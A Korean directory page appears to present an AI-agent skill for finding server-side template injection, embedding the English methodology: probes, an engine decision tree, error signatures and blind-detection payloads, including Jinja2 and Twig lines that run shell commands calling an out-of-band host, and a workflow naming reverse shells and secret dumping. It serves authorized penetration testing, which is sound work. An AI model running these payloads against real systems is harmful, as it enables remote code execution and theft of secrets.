offensive-ssti
하는 일
이 스킬은 사용자 입력이 템플릿 엔진으로 실행되는 서버 측 템플릿 인젝션을 찾는 방법론입니다. 흔한 엔진과 결함을 안전하게 확인하는 방법을 다룹니다. 허가를 받고 웹 애플리케이션을 테스트하는 보안 전문가를 위한 스킬입니다.
사용하는 경우
- ✓승인된 테스트에서 사용자 입력이 서버 측 템플릿으로 렌더링되는 것을 발견했을 때.
- ✓템플릿 인젝션이 서버에 있는지 브라우저에 있는지 확인해야 할 때.
- ✓서명된 테스트에서 앱 뒤의 템플릿 엔진을 식별하고 싶을 때.
스킬 링크
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/web/offensive-ssti/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“웹 앱을 테스트할 승인을 받았습니다. 인사말 페이지가 사용자 입력을 템플릿 엔진으로 렌더링하는지 확인해 주세요.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
이 스킬은 입력 지점을 매핑하고 안전한 산술 탐침을 보냅니다. 응답으로 템플릿 엔진을 식별한 뒤, 고유한 표식으로 결함을 확인하고 요청과 응답 체인을 문서화합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
Server-Side Template Injection (SSTI) -- Offensive Methodology
SSTI exists wherever user-controlled input is concatenated into a server-side
template string and the engine evaluates it as code. The engine executes
attacker-supplied directives, granting access to the language runtime and, in
nearly every engine, remote code execution through the host language's object
model. You encounter SSTI in any application passing raw user input to functions
like render_template_string(), Template(), or compile().
CWE-1336. MITRE ATT&CK T1190.
Quick Workflow
- Map injection surfaces: URL params, POST bodies, JSON values, path segments, headers, cookies.
- Inject polyglot probes and engine-specific arithmetic expressions; note evaluation, errors, or blank output.
- Fingerprint the engine via decision-tree probes, error signatures, and variable enumeration (section 1).
- Confirm server-side execution -- rule out client-side template injection (AngularJS, Vue.js).
- Escalate to information disclosure: dump config, env vars, secrets, internal paths.
- Achieve code execution with the engine-specific chain; apply bypass techniques if blocked (section 6).
- Chain for higher impact: file read, SSRF to cloud metadata, reverse shell, internal pivot.
- Produce non-destructive PoC with unique marker and capture the full request/response chain.
1. Engine Detection and Fingerprinting
1.1 Polyglot Probes
${{<%[%'"}}%\ Universal polyglot
{{7*7}} Double-curly arithmetic
{{7*'7'}} String multiplication (Jinja2 returns 7777777, Twig returns 49)
<%= 7*7 %> ERB / EJS style
#{7*7} Pebble / Pug / Thymeleaf contexts
@(7+7) Razor (.NET)
Engine-narrowing probes:
{{config}} Jinja2/Flask config dict
{{_self.env}} Twig Environment object
{$smarty.version} Smarty version string
<#assign x=1> Freemarker (then reference x in dollar-curly)
For Velocity, inject #set( $x = 7 * 7 ) then reference $x.
For Thymeleaf/SpEL, inject a dollar-curly expression with T(java.lang.Math).PI.
For Mako, inject a dollar-curly expression with self.module.__name__.
1.2 Decision Tree
{{7*7}} --> 49?
YES --> {{7*'7'}} --> "7777777"? --> Jinja2/Nunjucks ({{config}} narrows to Flask)
--> "49"? --> Twig
--> error? --> Handlebars
NO --> dollar-curly with 7*7 --> 49?
YES --> dollar-curly with class ref --> Velocity
dollar-curly with T(Math).PI --> Thymeleaf
<#assign x=1> then ref x --> Freemarker
error contains "mako" --> Mako
NO --> <%= 7*7 %> --> 49?
error with "erb"/"Erubi" --> ERB
error with "ejs" --> EJS
@(7+7) --> 14? --> Razor
1.3 Error Signatures
| Signature | Engine |
|---|---|
jinja2.exceptions.UndefinedError |
Jinja2 |
Twig\Error\SyntaxError |
Twig |
freemarker.core.ParseException |
Freemarker |
org.apache.velocity.exception |
Velocity |
com.mitchellbosecke.pebble.error |
Pebble |
SmartyCompilerException |
Smarty |
mako.exceptions.SyntaxException |
Mako |
Parse error with Handlebars context |
Handlebars |
SyntaxError with ERB path |
ERB |
org.thymeleaf.exceptions.TemplateProcessing |
Thymeleaf |
SyntaxError with .ejs path |
EJS |
Pug:Error |
Pug |
1.4 Blind Detection
Time-based: {{range(99999999)|join}} (Jinja2), <%= sleep(5) %> (ERB).
For Java engines, inject a dollar-curly with T(java.lang.Thread).sleep(5000).
OOB DNS: Use Burp Collaborator or interactsh. Jinja2:
{{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup UNIQUE.oastify.com').read()}}.
Twig: {{['nslookup UNIQUE.oastify.com']|map('system')}}.
Error inference: Compare {{7*7}} vs {{7*'INVALID}} -- different response
behavior confirms processing.
2. Jinja2 / Python
Exploitation relies on MRO traversal
자주 묻는 질문
어떤 템플릿 엔진을 다루나요?
Jinja2, Twig, Freemarker, Velocity, Smarty, Thymeleaf 등의 엔진을 다룹니다.
해로운 페이로드가 필요한가요?
스킬은 고유한 표식을 쓰는 파괴적이지 않은 증명을 권합니다.
승인된 테스트에만 쓰나요?
네. 서면 허가를 받은 테스트를 위해 작성되었습니다.
상세 정보
작성자의 원본 설명
Dense description covering Server-Side Template Injection across Jinja2, Twig, Freemarker, Velocity, Pebble, Smarty, Mako, Handlebars, ERB, Thymeleaf, EJS, Pug. Engine fingerprinting, filter bypass, blind exploitation, WAF evasion, SSTI-to-RCE chains. Tools: tplmap. CWE-1336. MITRE T1190. Use when testing template rendering endpoints or exploiting template injection for code execution.
repo: SnailSploit/Claude-Red
인기도
- GitHub 스타
- 10k
- 순위
- #11979
- 라이선스
- MIT
- 업데이트
- 2026. 10. 12.
댓글
- …
이 저장소의 다른 스킬
offensive-active-directory
10k에이전트가 승인된 Active Directory 보안 테스트를 계획하도록 돕습니다. 네트워크 매핑부터 Domain Admin까지 가는 공격 경로 찾기까지 포함합니다.
offensive-netexec
10k에이전트가 승인된 네트워크 테스트에 NetExec(nxc) 도구를 사용하도록 돕습니다. 프로토콜, 인증, 자격 증명 점검을 다룹니다.
offensive-api-abuse
10k에이전트가 비즈니스 로직 악용, GraphQL 위험, 경쟁 상태를 찾는 승인된 API 보안 테스트를 계획하도록 돕습니다.
offensive-api-security
10k에이전트가 OWASP API Top 10을 기준으로 REST, gRPC, WebSocket API에 대한 승인된 보안 테스트를 실행하도록 돕습니다.